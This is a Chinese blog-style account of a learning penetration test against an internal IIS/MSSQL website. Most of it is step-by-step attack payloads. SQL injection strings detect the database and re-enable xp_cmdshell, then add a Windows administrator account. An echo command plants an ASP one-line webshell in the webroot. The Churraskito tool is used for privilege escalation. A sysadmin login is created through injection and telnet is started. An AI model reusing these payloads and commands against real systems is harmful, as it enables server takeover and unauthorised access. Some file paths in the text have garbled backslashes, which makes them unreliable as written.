记一次内网渗透测试经历

话说刚开始接触安全测试时，没有一个系统的概念，前辈仍一个内网测试网站，让我把的shell拿下来，那我就开始吭哧吭哧的干起来。

首先，做渗透测试要有个思路，不能埋头苦干。所以就开始理了下思路，具体如下：

1. 判断有无sql注入点，根据sql注入点来判断数据库类型，若是mssqlserver则查看存储过程xp_cmdshell 查看其是否被禁用，若没有被禁用，则直接在注入点后面直接使用xp_cmdshell 存储过程向系统中添加权限。
2. 判断是否有上传漏洞，主要是上传asp等一句话脚本，先得到webshell，然后利用webshell再获取系统shell。
3. 主要是利用sa，和第一种思路大致一样

主要就这几种思路，下面就开始实施。

首先，针对思路一： 

既然是判断有无sql注入，最方便的方法当然是使用工具进行扫描，这里我使用的是webcruiser，一个非常小巧的工具，当然我这里肯定能够扫描出sql注入漏洞，接下来当然可以继续用这个工具得到数据库等信息，而我在这里就直接在该sql注入点是否能够执行xp_cmdshell。

具体方法是这样的：

1. 确定数据库类型：

?Id=1234;and (select count(*) from sysobjects)>0

 

1. 得到当前连接名和数据库名，查看是否为sa连接。

?id=1234;and user>0 (若显示dbo 则代表sa)。

?id=1234;and db_name()>0，执行异常时，可以得到当前连接的数据库名。

1. 查看xp_cmdshell是否被禁用。

?id=1234;and (select count(*) from master.dbo.sysobjects where  xtype=”X” and name =’xp_cmdshell’)

1. 若存储过程被删掉，则尝试恢复。

?id=1234;and exec sp_addextendepro  xp_cmdshell,’xplog70.dll’

若出现下面的错误，可以尝试如下方法：

l 无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。

首先执行，exec sp_dropextendeproc “xp_cmdshell” ,然后执行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”

l 无法再库xpweb70.dll 中找到函数xp_cmdshell 原因127

首先执行 exec sp_dropextendeproc “xp_cmdshell” ，然后执行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”

1. 则利用存储过程，执行添加用户的操作。

?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”--  其中aaa为用户名，bbb为密码。

添加到管理员组：

?id=1234 ;exec master..xp_cmdshell “net  localgroup administrators aaa/add ”

1. 若想备份数据库，则采用：

?id=1234 ;exec backup database 数据库名 to disk =’C:inetpub/wwwrootsave.db’，当然前提是知道web虚拟路径。

1. 当然当知道web虚拟路径的时候，可以通过制造一个unicode 漏洞来完成对计算机的控制。

?id=1234;exec master..xp_cmdshell “copy c:windowssystem32cmd.exe  c:inetpubscriptscmd.exe”

 

上面的主要是利用xp_cmdshell 方法来的，如果其中的方法不起作用，那就另当别论了。

 

针对思路二：

既然是通过上传一个文件，那么首先要做的工作就是找各种上传路径，在前台摸索了半天也没有找到一个可以上传的功能，而后使用后台上传功能，通过找各种后台，其中发现个admin这个后台，无奈，用户名和密码均无法通过验证，从数据库里面看，也没有相应的用户名和密码，所以这个后台基本上是个无效的后台，没办法，眼看着上传这条路就要失效了，此时我又使用了webcruiser 对整个网站扫描了下，发现该软件有cmd模式，而且能够执行成功，此时思路就来了，既然应用程序前后台均无法上传，何不在这里直接使用cmd命令来建立一个asp文件呢？当然前提是要知道web虚拟路径在哪里。

一般情况下，web虚拟路径通常是这样的：C:inetpubwwwroot ;D:inetpubwwwroot  ;

或者E:inetpubwwwroot 等 就这几个路径，而虚拟可以执行的目录一般是C:inetpubscripts ；D:inetpubscripts ; E:inetpubscripts

接下来，我在cmd命令下，直接执行一条命令：

echo ^<^%execute^(request^("eval"^)^)^%^>  c:inetpubwwwrootcms est123456.asp

在这个目录下，生成了个一句话木马asp文件，然后再使用菜刀连接，ok，webshell拿到。

得到webshell 不是最主要的，而且webshell 也没有什么太大的作用，因此就尝试使用webshell往相应目录传送我们的攻击文件，尝试了几个目录均没有发现可以执行的目录，在快要放弃的情况下，然后尝试了C: ecycle这个目录，发现可以上传可以执行的文件，下面就简单了。

接下来的思路很简单，就是上传一个后面软件，执行系统权限添加操作。在做到过程中，还是遇到了不少困难，例如，开始上传的瑞士军刀，想通过反弹端口来执行我们添加用户的操作，发现无法成功。

在后来，通过一些0day的溢出漏洞来取得系统权限，在网上搜罗了一大堆的0day软件，均发现不可以利用，后来看到“巴西烤肉”这款软件，英文名Churraskito.exe，这款0day溢出软件是如此的强大，而且我下的这个还么有后门，直接执行Churraskito “C:windowssystem32cmd.exe ” “net user 111 111/add”成功添加用户，哈哈，当然如果你想加到管理员组，在使用Churraskito “C:windowssystem32cmd.exe ” “net localgroup administrators  111 /add” 基本上就ok了，至此，一个简单的获取系统权限的渗透测试就算完成了。

这里直接用webcruiser 中的cmd命令，直接执行添加用户操作就可以了，省去了后面的一系列操作。擦得，后来才想到的，唉。。。

 

思路三：

既然可以执行，未必非要xp_cmdshell ,我们可以通过尝试sa，这个操作，例如，先在数据库中建立一个用户，然后把该用户提升为sysadmin,之后在使用查询分析器连接，当然还是要使用xp_cmdshell 的存储过程。

具体方法如下：

首先建立数据库用户：

?id=1234;exec master.dbo.sp_addlogin user;

当然也可以为这个用户赋予密码，其实无所谓，如果赋予密码的话，这样操作：

?id=1234;exec master.dbo.password null ,password ,user;

这里的null就是旧密码，password 为新密码。

然后将该用户提升权限：

?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;

提升成功后，就可以通过查询分析器连接，连接成功后，直接查看xp_cmdshell是否能用；如果能用，则直接提升权限操作，；例如：

Xp_cmdshell ‘net user’

Xp_cmdshell ‘net user test123 test123 /add’

Xp_cmdshell ‘net localgroup administrators test123/add ’

Xp_cmdshell ‘net user test123 /del’

等。

开启telnet服务：

Xp_cmdshell ‘net start tlntsvr’

总结：

在这期间，我知道了webshell 和shell 不是一回事，也知道了xp_cmdshell是可以获取系统权限的，也知道了 有些工具是可以执行cmd命令的，当然我也初步了解下瑞士军刀 巴西烤肉等一系列攻击工具的用法，当然也了解到一些系统是可以被0day的。虽然这次渗透还有很多没有了解的地方，虽然只是大致的了解下，但是，对以后这方面，应该有个很好的思路以及借鉴。安全这块，任重而道远，以此勉励自己。